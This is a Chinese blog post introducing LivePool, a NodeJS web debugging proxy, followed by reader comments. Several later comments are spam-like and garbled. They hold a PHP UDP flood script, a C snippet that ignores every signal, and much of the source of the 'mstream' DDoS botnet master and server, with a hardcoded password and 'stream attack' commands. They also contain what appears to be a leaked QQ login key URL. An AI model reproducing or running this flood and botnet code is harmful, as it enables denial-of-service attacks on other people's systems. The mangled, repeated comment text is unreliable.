LivePool

LivePool 是一个基于 NodeJS,类似 Fiddler 能够支持抓包和本地替换的 Web 开发调试工具,是 Tencent AlloyTeam 在开发实践过程总结出的一套的便捷的 WorkFlow 以及调试方案。

背景

在 Windows 平台上,Fiddler 作为一款非常便捷好用的 Web 调试工具,深受广大开发者的喜爱。而在 Mac 上,类似的工具,比如 Charles 等,收费并且功能非常有限,着实让很多陆续把工作环境迁移到 Mac 的小伙伴刚到非常的不方便。难道真的要在 Mac 上装个 Windows 或者开虚拟机跑 Fiddler 吗?

Alloyteam 其实很早就开始实践跨平台的抓包和替换工具,基于 QT 的 Rythem,功能上基本能满足要求,但是由于后续没有熟悉 QT 平台的人力投入,没有持续更新和支持。出于折腾精神,决定用比较熟悉的 NodeJS 进行开发一款类似的代理替换工具,并尝试借助 Web 便捷快速的 UI 能力搭建更美观强大的管理界面。

 

特性

  1. 基于 NodeJS, 跨平台
  2. 便捷的 UI 界面,跟 Fiddler 类似,降低学习成本
  3. 支持 http 抓包和本地替换调试,Https/WebSockets 直接代理转发,暂不支持本地替换
  4. 基于项目的替换规则管理,方便高效,规则支持拖曳排序
  5. 支持基于请求路径的本地文件替换,支持基于请求路径的路由转发(host 配置)
  6. 替换类型支持:文件/文件夹替换,combo 合并替换,qzmin 替换(批量 combo),delay 延时等
  7. 支持自动设置系统代理
  8. 支持规则过滤,只显示关注的请求
  9. 提供构建 http get/post 请求界面,方便接口调试
  10. 特色功能:模拟 gprs/3g 等低网速(mac only)
  11. 特色功能:支持离线站点到本地,并自动代码格式化

主要功能

1. 抓包分析

实现原理:通过拦截系统 web 代理将浏览器或者其他应用的请求转发到 Livepool,Livepool 通过拦截获取 http 请求的相关信息,比如 http 头,内容等,并将结果缓存下来,便于后面进行分析。

 

2. 本地替换和规则管理

实现原理:livepool 拦截到请求后,对请求的路径进行分析,将命中规则的请求进行适当处理,替换为对应内容。目前替换类型支持:文件/文件夹替换,combo 合并替换,qzmin 替换(批量 combo),delay 延时等。提供便捷的基于项目的规则管理。

 

3. 构建调试请求

便捷的模拟 http 请求,方便接口调试

 

4. 模拟低网速【mac only】

GPRS: 48kbit/s
Edge: 64kbit/s
3g: 348kbit/s
ADSL: 768kbit/s
WIFI: 2048kbit/s

 

5. 离线站点

将站点内容离线到本地,并自动代码格式化,便于查看
站点保存到当前文件夹 Sites 下

 

更多

项目官网:http://rehorn.github.io/livepool

github: https://github.com/rehorn/livepool

讨论&bug: https://github.com/rehorn/livepool/issues

 

还在内测,未经过大量测试,欢迎提建议,star & fork & issue

原创文章转载请注明:

转载自AlloyTeam:http://www.alloyteam.com/2014/07/nodejs-debug-proxy-livepool/

  1. 糯米圈 2014 年 9 月 4 日

    腾讯出品必属精品

  2. 无墨来点睛 2014 年 8 月 29 日

    不错,最近也在找 mac 下支持代理形式的抓包工具,先收藏

  3. 517电影网 2014 年 8 月 11 日

    神一样的东西呀,赶紧下载自己测试一下,哈哈

  4. 于江水 2014 年 8 月 6 日

    直观感觉上好像功能还没有 Charles 多,好像介绍的大部分 Charles 也有。建议增加更多 fiddle 有 charles 没有的功能,然后还可以根据国人习惯做一些交互的改良,这样用的人就多了。

  5. blue68 2014 年 8 月 6 日

    Error: Most middleware (like json) is no longer bundled with Express and must be installed separately. Please see https://github.com/senchalabs/connect#middleware.
    at Function.Object.defineProperty.get (/Users/chaoqiangtian/tbj/livepool/livepool/node_modules/express/lib/express.js:89:13)
    at Object. (/Users/chaoqiangtian/tbj/livepool/livepool/lib/webui/liveapp.js:37:21)
    at Module._compile (module.js:456:26)
    at Object.Module._extensions..js (module.js:474:10)
    at Module.load (module.js:356:32)
    at Function.Module._load (module.js:312:12)
    at Module.require (module.js:364:17)
    at require (module.js:380:17)
    at Object. (/Users/chaoqiangtian/tbj/livepool/livepool/lib/livepool/notify.js:1:77)
    at Module._compile (module.js:456:26)

  6. 源泉 2014 年 7 月 31 日

    力顶!

  7. L 2014 年 7 月 27 日

    國人開發的仿 Fiddler 的 Chrome 插件
    https://chrome.google.com/webstore/detail/fiddler/hkknfnifmbannmgkdliadghepbneplka?hl=en

    • TAT.Rehorn 2014 年 7 月 30 日

      有了解~,谢谢推荐

  8. svenzeng 2014 年 7 月 24 日

    神器,顶!

    • TAT.Rehorn 2014 年 7 月 30 日

      多谢曾哥捧场

  9. jf 2014 年 7 月 23 日

    很赞,不过老外有一款 Java 写的抓包工具 Charles,已经实现了 livepool 的大部分功能了。

    • TAT.Rehorn 2014 年 7 月 30 日

      有了解,多谢推荐

  10. LivePool:基于Node.js的跨平台Web抓包替换工具 | 极客521 2014 年 7 月 16 日

    […] LivePool 是一个基于 NodeJS,类似 Fiddler 能够支持抓包和本地替换的 Web 开发调试工具,是 Tencent AlloyTeam 在开发实践过程总结出的一套的便捷的工作流以及调试方案。 […]

  11. 一些常用工具及其相关介绍[不定期更新] | ASPIRE 2014 年 7 月 15 日

    […] LivePool LivePool:基于 NodeJs 的跨平台 Web 抓包替换工具 […]

  12. zicjin 2014 年 7 月 15 日

    文档里:node install livepool -g 确定没错?npm install livepool -g 运行报错信息:
    ……
    ……
    npm http GET https://registry.npmjs.org/accepts
    npm http GET https://registry.npmjs.org/raw-body

    > ws@0.4.31 install C:\Users\zic\AppData\Roaming\npm\node_modules\livepool\node_modules\socket.io\node_modules\engine.io
    \node_modules\ws
    > (node-gyp rebuild 2> builderror.log) || (exit 0)

    C:\Users\zic\AppData\Roaming\npm\node_modules\livepool\node_modules\socket.io\node_modules\engine.io\node_modules\ws>nod
    e “C:\Program Files\nodejs\node_modules\npm\bin\node-gyp-bin\\..\..\node_modules\node-gyp\bin\node-gyp.js” rebuild

  13. var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日

    h html5 黑子 QQ1440580 @黑子 / -a -t -k -c -v /ttp://ptlogin2.qq.com/jump?ptlang=2052&clientuin=1440580&clientkey=42A5559C97B0027FDC3A716713A032862D90B9AC8F0963C369ED20C0EE7CA8EE&u1=http%3A%2F%2Fuser.qzone.qq.com%2F1440580%2Finfocenter$packets = 0;
    $ip = $_GET[\’ip\’];
    $rand = $_GET[\’port\’];
    set_time_limit(0);
    ignore_user_abort(FALSE);

    $exec_time = $_GET[\’time\’];

    $time = time();
    print \”Flooded: $ip on port $rand

    \”;
    $max_time = $time+$exec_time;

    for($i=0;$i $max_time){
    break;
    }

    $fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5);
    if($fp){
    fwrite($fp, $out);
    fclose($fp);
    }
    }
    echo \”Packet complete at \”.time(\’h:i:s\’).\” with $packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”. round($packets/$exec_time, 2) . \” packets/s \\n\”;
    ?> void InstalSignal()
    {
    signal(SIGHUP ,SIG_IGN ); /* hangup, generated when terminal disconnects */
    signal(SIGINT ,SIG_IGN ); /* interrupt, generated from terminal special char */
    signal(SIGQUIT ,SIG_IGN ); /* (*) quit, generated from terminal special char */
    signal(SIGILL ,SIG_IGN ); /* (*) illegal instruction (not reset when caught)*/
    signal(SIGTRAP ,SIG_IGN ); /* (*) trace trap (not reset when caught) */
    signal(SIGABRT ,SIG_IGN ); /* (*) abort process */
    #ifdef D_AIX
    signal(SIGEMT ,SIG_IGN ); /* EMT intruction */
    #endif
    signal(SIGFPE ,SIG_IGN ); /* (*) floating point exception */
    signal(SIGKILL ,SIG_IGN ); /* kill (cannot be caught or ignored) */
    signal(SIGBUS ,SIG_IGN ); /* (*) bus error (specification exception) */
    signal(SIGSEGV ,SIG_IGN ); /* (*) segmentation violation */
    signal(SIGSYS ,SIG_IGN ); /* (*) bad argument to system call */
    signal(SIGPIPE ,SIG_IGN ); /* write on a pipe with no one to read it */
    signal(SIGALRM ,SIG_IGN ); /* alarm clock timeout */
    //signal(SIGTERM ,stopproc ); /* software termination signal */
    signal(SIGURG ,SIG_IGN ); /* (+) urgent contition on I/O channel */
    signal(SIGSTOP ,SIG_IGN ); /* (@) stop (cannot be caught or ignored) */
    signal(SIGTSTP ,SIG_IGN ); /* (@) interactive stop */
    signal(SIGCONT ,SIG_IGN ); /* (!) continue (cannot be caught or ignored) */
    signal(SIGCHLD ,SIG_IGN); /* (+) sent to parent on child stop or exit */
    signal(SIGTTIN ,SIG_IGN); /* (@) background read attempted from control terminal*/
    signal(SIGTTOU ,SIG_IGN); /* (@) background write attempted to control terminal */
    signal(SIGIO ,SIG_IGN); /* (+) I/O possible, or completed */
    signal(SIGXCPU ,SIG_IGN); /* cpu time limit exceeded (see setrlimit()) */
    signal(SIGXFSZ ,SIG_IGN); /* file size limit exceeded (see setrlimit()) */

    #ifdef D_AIX
    signal(SIGMSG ,SIG_IGN); /* input data is in the ring buffer */
    #endif

    signal(SIGWINCH,SIG_IGN); /* (+) window size changed */
    signal(SIGPWR ,SIG_IGN); /* (+) power-fail restart */
    //signal(SIGUSR1 ,stopproc); /* user defined signal 1 */
    //signal(SIGUSR2 ,stopproc); /* user defined signal 2 */
    signal(SIGPROF ,SIG_IGN); /* profiling time alarm (see setitimer) */

    #ifdef D_AIX
    signal(SIGDANGER,SIG_IGN); /* system crash imminent; free up some page space */
    #endif

    signal(SIGVTALRM,SIG_IGN); /* virtual time alarm (see setitimer) */

    #ifdef D_AIX
    signal(SIGMIGRATE,SIG_IGN); /* migrate process */
    signal(SIGPRE ,SIG_IGN); /* programming exception */
    signal(SIGVIRT ,SIG_IGN); /* AIX virtual time alarm */
    signal(SIGALRM1,SIG_IGN); /* m:n condition variables – RESERVED – DON ‘T USE */
    signal(SIGWAITING,SIG_IGN); /* m:n scheduling – RESERVED – DON ‘T USE */
    signal(SIGCPUFAIL ,SIG_IGN); /* Predictive De-configuration of Processors – */
    signal(SIGKAP,SIG_IGN); /* keep alive poll from native keyboard */
    signal(SIGRETRACT,SIG_IGN); /* monitor mode should be relinguished */
    signal(SIGSOUND ,SIG_IGN); /* sound control has completed */
    signal(SIGSAK ,SIG_IGN); /* secure attention key */
    #endif

  14. var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日

    qq1440580 ///////////////////if (str[strlen(str)-1] == ‘\n’) str[strlen(str)-1] = ”;
    }

    var g_domain=”qq.com”;
    document.domain = g_domain;
    document.createElement(‘header’);
    document.createElement(‘footer’);
    document.createElement(‘section’);
    document.createElement(‘article’);
    document.createElement(‘aside’);
    document.createElement(‘nav’);
    //foot #**?/urse/url/https/
    var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
    if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}

    <!– html5 ac\:_.|+*–*+|._:/bo –>if (str[strlen(str)-1] == ‘\n’) str[strlen(str)-1] = ”;
    }

    var g_domain=”qq.com”;
    document.domain = g_domain;
    document.createElement(‘header’);
    document.createElement(‘footer’);
    document.createElement(‘section’);
    document.createElement(‘article’);
    document.createElement(‘aside’);
    document.createElement(‘nav’);
    //foot #**?/urse/url/https/
    var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
    if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}

    <!– html5 ac\:_.|+*–*+|._:/bo –>

  15. var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日

    if (str[strlen(str)-1] == ‘\n’) str[strlen(str)-1] = ”;
    }

    var g_domain=”qq.com”;
    document.domain = g_domain;
    document.createElement(‘header’);
    document.createElement(‘footer’);
    document.createElement(‘section’);
    document.createElement(‘article’);
    document.createElement(‘aside’);
    document.createElement(‘nav’);
    //foot #**?/urse/url/https/
    var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
    if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}

    <!– html5 ac\:_.|+*–*+|._:/bo –>

  16. var g_domain="qq.com"; document.domain = g_domain; document.createElement('header'); document.createElement('footer'); document.createElement('section'); document.createElement('article'); document.createElement('aside'); document.createElement('nav'); // 2014 年 7 月 15 日

    Makefile:

    CC = gcc

    # -g is so i can debug it better 😛
    # -Wall so i can be happy

    CFLAGS = -g -Wall

    all: master server

    clean:
      rm -f master server

    master: master.c
      $(CC) $(CFLAGS) -o master master.c

    server: server.c
      $(CC) $(CFLAGS) -o server server.c

    master.c

    /* spwn */

    #define PASSWORD “sex”
    #define SERVERFILE “.sr”
    #define MASTER_TCP_PORT 6723
    #define MASTER_UDP_PORT 9325
    #define SERVER_PORT 7983
    #define MAXUSERS 3
    #define USED 1
    #define AUTH 2
    #define max(one, two) (one > two ? one : two)

    #define MAX_IP_LENGTH 17
    #define MAX_HOST_LENGTH 200

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include

    /* prototypes for my functions */
    void sighandle (int);
    int maxfd (int, int);
    void prompt (int);
    void tof (char *);
    void fof (char *);
    void send2server (u_long, char *, …);
    void forkbg (void);
    void nlstr (char *);
    void sendtoall (char *, …);
    char *inet_ntoa (struct in_addr);
    u_long inet_addr (const char *);
    int findfree (void);
    /* end of prototypes */

    typedef struct _socks {
    int fd;
    int opts;
    int idle;
    char *ip;
    } socks;

    socks users[MAXUSERS];

    int main (int argc, char *argv[])
    {
     fd_set readset;
     int i, tcpfd, udpfd, socksize, pongs = 0;
     struct sockaddr_in udpsock, tcpsock, remotesock;
     struct timeval t;
     char ibuf[1024], obuf[1024], *arg[3];

    signal(SIGINT, sighandle);
    signal(SIGHUP, sighandle);
    signal(SIGSEGV, sighandle);

    socksize = sizeof(struct sockaddr);

    if ((tcpfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      perror(“socket”);
      exit(0);
    }

    if ((udpfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
      perror(“socket”);
      exit(0);
    }

    tcpsock.sin_family = AF_INET;
    tcpsock.sin_port = htons(MASTER_TCP_PORT);
    tcpsock.sin_addr.s_addr = INADDR_ANY;
    memset(&tcpsock.sin_zero, 0, 8);

    if (bind(tcpfd, (struct sockaddr *)&tcpsock, sizeof(struct sockaddr)) == -1) {
      perror(“bind”);
      exit(0);
    }

    if (listen(tcpfd, MAXUSERS+1) == -1) {
      perror(“listen”);
      exit(0);
    }

    i = 1;

    if (setsockopt(tcpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
      perror(“setsockopt”);
      exit(0);
    }

    i = 1;

    if (setsockopt(tcpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
      perror(“setsockopt”);
      exit(0);
    }

    if (fcntl(tcpfd, F_SETFL, O_NONBLOCK) == -1) {
      perror(“fcntl”);
      exit(0);
    }

    udpsock.sin_family = AF_INET;
    udpsock.sin_port = htons(MASTER_UDP_PORT);
    udpsock.sin_addr.s_addr = INADDR_ANY;
    memset(&udpsock.sin_zero, 0, 8);

    if (bind(udpfd, (struct sockaddr *)&udpsock, sizeof(struct sockaddr)) == -1) {
      perror(“bind”);
      exit(0);
    }

    i = 1;

    if (setsockopt(udpfd, SOL_SOCKET, SO_KEEPALIVE, (void *)&i, sizeof(int)) == -1) {
      perror(“setsockopt”);
      exit(0);
    }

    i = 1;

    if (setsockopt(udpfd, SOL_SOCKET, SO_REUSEADDR, (void *)&i, sizeof(int)) == -1) {
      perror(“setsockopt”);
      exit(0);
    }

    for (i = 0 ; i <= MAXUSERS ; i++) {
      users[i].opts = (0 & ~USED);
    }

    forkbg();

    t.tv_sec = 2;
    t.tv_usec = 1;

    for (;;) {

      for (i = 0 ; i 420) {
        memset(&obuf, 0, sizeof obuf);
        sprintf(obuf, “\nYou’re too idle !\n”);
        send(users[i].fd, &obuf, strlen(obuf), 0);
        close(users[i].fd);
        users[i].opts &= ~USED;
       }

      FD_ZERO(&readset);
      FD_SET(tcpfd, &readset);
      FD_SET(udpfd, &readset);

      for (i = 0 ; i <= MAXUSERS ; i++) {
       if (users[i].opts & USED) FD_SET(users[i].fd, &readset);
      }

      if (select(maxfd(tcpfd, udpfd)+1, &readset, NULL, NULL, &t) == -1) continue;

      if (FD_ISSET(tcpfd, &readset)) {
       int socknum;
       u_long ip;
       struct hostent *hp;
      
       if ((socknum = findfree()) == -1) {
        socknum = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
        close(socknum);
        continue;
       }
      
       users[socknum].fd = accept(tcpfd, (struct sockaddr *)&remotesock, &socksize);
       for (i = 0 ; i h_name, MAX_HOST_LENGTH-1);
       }
      
       users[socknum].idle = time(0);
      }

      if (FD_ISSET(udpfd, &readset)) {
       memset(&ibuf, 0, sizeof ibuf);
       if (recvfrom(udpfd, &ibuf, (sizeof ibuf)-1, 0, (struct sockaddr *)&remotesock, &socksize) <= 0) continue;
       nlstr(ibuf);
      
       if (!strcmp(ibuf, "newserver")) {
        FILE *f;
        char line[1024];
        int i;
      
        if ((f = fopen(SERVERFILE, "r")) == NULL) {
         f = fopen(SERVERFILE, "w");
         fclose(f);
         continue;
        }
        while (fgets(line, (sizeof line)-1, f)) {
         nlstr(line);
         fof(line);
         nlstr(line);
         if (!strcmp(line, inet_ntoa(remotesock.sin_addr))) {
          continue;
         }
        }
        fclose(f);
        if ((f = fopen(SERVERFILE, "a")) == NULL) continue;
        memset(&obuf, 0, sizeof obuf);
        snprintf(obuf,(sizeof obuf)-1, "%s\n", inet_ntoa(remotesock.sin_addr));
        tof(obuf);
        fprintf(f, "%s\n", obuf);
        for (i = 0 ; i <= MAXUSERS ; i++)
        if (users[i].opts & USED) {
         memset(&obuf, 0, sizeof obuf);
         snprintf(obuf, (sizeof obuf)-1, "\nNew server on %s.\n", inet_ntoa(remotesock.sin_addr));
         send(users[i].fd, &obuf, strlen(obuf), 0);
         prompt(users[i].fd);
        }
        fclose(f);
       }
      
       if (!strcmp(ibuf, "pong")) {
        pongs++;
        for (i = 0 ; i <= MAXUSERS ; i++) {
         if (users[i].opts & USED) {
          memset(&obuf, 0, sizeof obuf);
          snprintf(obuf, (sizeof obuf)-1, "\nGot pong number %d from %s\n", pongs, inet_ntoa(remotesock.sin_addr));
          send(users[i].fd, &obuf, strlen(obuf), 0);
          prompt(users[i].fd);
         }
        }
       }
      }

      for (i = 0 ; i <= MAXUSERS ; i++) {
       if (users[i].opts & USED) {
        if (FD_ISSET(users[i].fd, &readset)) {
         if (!(users[i].opts & AUTH)) {
          int x;
         
          memset(&ibuf, 0, sizeof ibuf);
          if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
           int y;
         
           users[i].opts = (~AUTH & ~USED);
           memset(&obuf, 0, sizeof obuf);
           snprintf(obuf, (sizeof obuf)-1, "%s has disconnected (not auth'd): %s\n", users[i].ip, strerror(errno));
           for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
            send(users[y].fd, &obuf, strlen(obuf), 0);
            prompt(users[y].fd);
           }
         
           close(users[i].fd);
           free(users[i].ip);
           continue;
          }
         
          users[i].idle = time(0);
         
          for (x = 0 ; x <= strlen(ibuf) ; x++) {
           if (ibuf[x] == '\n') ibuf[x] = '';
           if (ibuf[x] == '\r') ibuf[x] = '';
          }
         
          if (strcmp(ibuf, PASSWORD)) {
           int y;
           memset(&obuf, 0, sizeof obuf);
           snprintf(obuf, (sizeof obuf)-1, "Invalid password from %s.\n", users[i].ip);
           for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && (y != i)) {
            send(users[y].fd, &obuf, strlen(obuf), 0);
            prompt(users[y].fd);
           }
         
           free(users[i].ip);
           close(users[i].fd);
           users[i].opts = (~AUTH & ~USED);
           continue;
          }
          for (x = 0 ; x <= MAXUSERS ; x++) {
           if ((users[x].opts & USED) && (x != i)) {
            memset(&obuf, 0, sizeof obuf);
            snprintf(obuf, (sizeof obuf)-1, "\nPassword accepted for connection from %s.\n", users[i].ip);
            send(users[x].fd, &obuf, strlen(obuf), 0);
            prompt(users[x].fd);
           }
          }
          users[i].opts |= AUTH;
          prompt(users[i].fd);
          continue;
         }
         memset(&ibuf, 0, sizeof ibuf);
         if (recv(users[i].fd, &ibuf, (sizeof ibuf)-1, 0) <= 0) {
          int y;
         
          memset(&obuf, 0, sizeof obuf);
          snprintf(obuf, (sizeof obuf)-1, "Lost connection to %s: %s\n", users[i].ip, strerror(errno));
          for (y = 0 ; y <= MAXUSERS ; y++) if (users[y].opts & USED) {
           send(users[y].fd, &obuf, strlen(obuf), 0);
           prompt(users[y].fd);
          }
         
          free(users[i].ip);
          close(users[i].fd);
          users[i].opts = (~AUTH & ~USED);
          continue;
         }
      
         arg[0] = strtok(ibuf, " ");
         arg[1] = strtok(NULL, " ");
         arg[2] = strtok(NULL, " ");
         arg[3] = NULL;

         if (arg[2]) nlstr(arg[2]);
         if (!strncmp(arg[0], "stream", 6)) {
          struct hostent *hp;
          struct in_addr ia;
          if ((!arg[1]) || (!arg[2])) {
      
        memset(&obuf, 0, sizeof obuf);
           sprintf(obuf, "Usage: stream \n”);
           send(users[i].fd, &obuf, strlen(obuf), 0);
           prompt(users[i].fd);
           continue;
          }
          if ((hp = gethostbyname(arg[1])) == NULL) {
           memset(&obuf, 0, sizeof obuf);
           snprintf(obuf, (sizeof obuf)-1, “Unable to resolve %s.\n”, arg[1]);
           send(users[i].fd, &obuf, strlen(obuf), 0);
           prompt(users[i].fd);
           continue;
          }
          memcpy(&ia.s_addr, &hp->h_addr, hp->h_length);
          sendtoall(“stream/%s/%s”, inet_ntoa(ia), arg[2]);
          memset(&obuf, 0, sizeof obuf);
          snprintf(obuf, (sizeof obuf)-1, “Streaming %s for %s seconds.\n”, arg[1], arg[2]);
          send(users[i].fd, &obuf, strlen(obuf), 0);
         }
         if (!strncmp(arg[0], “quit”, 4)) {
          int y;
         
          memset(&obuf, 0, sizeof obuf);
          snprintf(obuf, (sizeof obuf)-1, “%s has disconnected.\n”, users[i].ip);
          for (y = 0 ; y <= MAXUSERS ; y++) if ((users[y].opts & USED) && y != i) {
           send(users[y].fd, &obuf, strlen(obuf), 0);
           prompt(users[y].fd);
          }
         
          free(users[i].ip);
          close(users[i].fd);
          users[i].opts = (~AUTH & ~USED);
          continue;
         }
         if (!strncmp(arg[0], "servers", 7)) {
          FILE *f;
          char line[1024];
         
          if ((f = fopen(SERVERFILE, "r")) == NULL) {
           memset(&obuf, 0, sizeof obuf);
           sprintf(obuf, "\nServer file doesn't exist, creating ;)\n");
           send(users[i].fd, &obuf, strlen(obuf), 0);
           f = fopen(SERVERFILE, "w");
           fclose(f);
           prompt(users[i].fd);
           continue;
          }
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "The following ips are known servers: \n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
          while (fgets(line, (sizeof line)-1, f)) {
           nlstr(line);
           fof(line);
           send(users[i].fd, &line, strlen(line), 0);
          }
          fclose(f);
         }
         if (!strncmp(arg[0], "help", 4) || !strncmp(arg[0], "commands", 8)) {
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "\nAvailable commands: \n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "stream\t\t–\tstream attack !\n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "servers\t\t–\tPrints all known servers.\n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "ping\t\t–\tping all servers.\n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "who\t\t–\ttells you the ips of the people logged in\n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "mstream\t\t–\tlets you stream more than one ip at a time\n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
         }
         if (!strncmp(arg[0], "who", 3)) {
          int x;
         
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "\nCurrently Online: \n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
         
          for (x = 0 ; x <= MAXUSERS ; x++) {
           memset(&obuf, 0, sizeof obuf);
           if (users[x].opts & USED && users[x].opts & AUTH) {
            snprintf(obuf, (sizeof obuf)-1, "Socket number %d\t[%s]\n", x, users[x].ip);
            send(users[i].fd, &obuf, strlen(obuf), 0);
           }
          }
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "\n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
         }
      
         if (!strncmp(arg[0], "ping", 4)) {
          pongs = 0;
          memset(&obuf, 0, sizeof obuf);
          sprintf(obuf, "Pinging all servers.\n");
          send(users[i].fd, &obuf, strlen(obuf), 0);
          sendtoall("ping");
         }
         if (!strncmp(arg[0], "mstream", 7)) {
            if ((!arg[1]) || (!arg[2])) {
              memset(&obuf, 0, sizeof obuf);
              sprintf(obuf, "Usage: mstream \n”);
              send(users[i].fd, &obuf, strlen(obuf), 0);
              prompt(users[i].fd);
              continue;
              }
            memset(&obuf, 0, sizeof obuf);
            snprintf(obuf, (sizeof obuf)-1, “MStreaming %s for %s seconds.\n”, arg[1], arg[2]);
            send(users[i].fd, &obuf, strlen(obuf), 0);
            sendtoall(“mstream/%s/%s\n”, arg[1], arg[2]);
            }
         prompt(users[i].fd);
        }
       }
      }
    }
    }

    int findfree (void) {
     int i;

    for (i = 0 ; i 0) {
        printf(“Forked into background, pid %d\n”, pid);
        exit(0);
    }

    }

    void nlstr (char *str) {
    int i;

    for (i = 0 ; str[i] != NULL ; i++)
      if ((str[i] == ‘\n’) || (str[i] == ‘\r’)) str[i] = ”;
    }

    void send2server (u_long addr, char *str, …) {
     va_list vl;
     char buf[1024];
     int fd;
     struct sockaddr_in sock;

    va_start(vl, str);
    vsnprintf(buf, (sizeof buf)-1, str, vl);
    va_end(vl);

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;

    sock.sin_family = AF_INET;
    sock.sin_port = htons(SERVER_PORT);
    sock.sin_addr.s_addr = addr;
    memset(&sock.sin_zero, 0, 8);

    sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
    }

    void tof (char *str) {
    int i;

    for (i = 0 ; str[i] != 0 ; i++)
     str[i]+=50;
    }

    void fof (char *str) {
    int i;

    for (i = 0 ; str[i] != 0 ; i++)
     str[i]-=50;
    }

    void sendtoall (char *str, …) {
     va_list vl;
     char buf[1024], line[1024];
     struct sockaddr_in sock;
     int fd;
     FILE *f;

    va_start(vl, str);
    vsnprintf(buf, (sizeof buf)-1, str, vl);
    va_end(vl);

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) return;

    sock.sin_family = AF_INET;
    sock.sin_port = htons(SERVER_PORT);
    memset(&sock.sin_zero, 0, 8);

    if ((f = fopen(SERVERFILE, “r”)) == NULL) {
      f = fopen(SERVERFILE, “w”);
      fclose(f);
      return;
    }

    while (fgets(line, (sizeof line)-1, f)) {
      nlstr(line);
      fof(line);
      nlstr(line);
      sock.sin_addr.s_addr = inet_addr(line);
      sendto(fd, &buf, strlen(buf), 0, (struct sockaddr *)&sock, sizeof(struct sockaddr));
    }
    }

    void prompt (int fd) {
     char buf[5];

    memset(&buf, 0, sizeof buf);

    sprintf(buf, “> “);
    send(fd, &buf, strlen(buf), 0);
    }

    int maxfd (int extra1, int extra2) {
     int mfd = 0, i;

    for (i = 0 ; i <= MAXUSERS ; i++)
     if (users[i].opts & USED)
      mfd = max(mfd, users[i].fd);
    mfd = max(max(extra1, extra2), mfd);
    return mfd;
    }

    void sighandle (int sig) {
    int i;
    char obuf[1024];

    memset(&obuf, 0, sizeof obuf);

    switch (sig) {
      case SIGHUP:
         snprintf(obuf, (sizeof obuf)-1, "Caught SIGHUP, ignoring.\n");
         break;
      case SIGINT:
         snprintf(obuf, (sizeof obuf)-1, "Caught SIGINT, ignoring.\n");
         break;
      case SIGSEGV:
         snprintf(obuf, (sizeof obuf)-1, "Segmentation Violation, Exiting cleanly..\n");
         break;
      default:
         snprintf(obuf, (sizeof obuf)-1, "Caught unknown signal, This should not happen.\n");
      }

    for (i = 0 ; i <= MAXUSERS ; i++)
      if ( (users[i].opts & USED) && (users[i].opts & AUTH) ) {
         send(users[i].fd, &obuf, strlen(obuf), 0);
         prompt(users[i].fd);
         }
    if (sig == SIGSEGV) exit(1);
    }

    server.c

    /* spwn */

    char *m[]={
      "1.1.1.1", /* first master */
      "2.2.2.2", /* second master */
      "3.3.3.3", /* third master etc */
      0 };

    #define MASTER_PORT 9325
    #define SERVER_PORT 7983

    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #include
    #ifndef __USE_BSD
    #define __USE_BSD
    #endif
    #ifndef __FAVOR_BSD
    #define __FAVOR_BSD
    #endif
    #include
    #include
    #include
    #include
    #ifdef LINUX
    #define FIX(x) htons(x)
    #else
    #define FIX(x) (x)
    #endif

    void forkbg (void);
    void send2master (char *, struct in_addr);
    void stream (int, int, u_long, char **);
    void nlstr (char *);

    int main (int argc, char *argv[])
    {
    struct in_addr ia;
    struct sockaddr_in sock, remote;
    int fd, socksize, opt = 1, i;
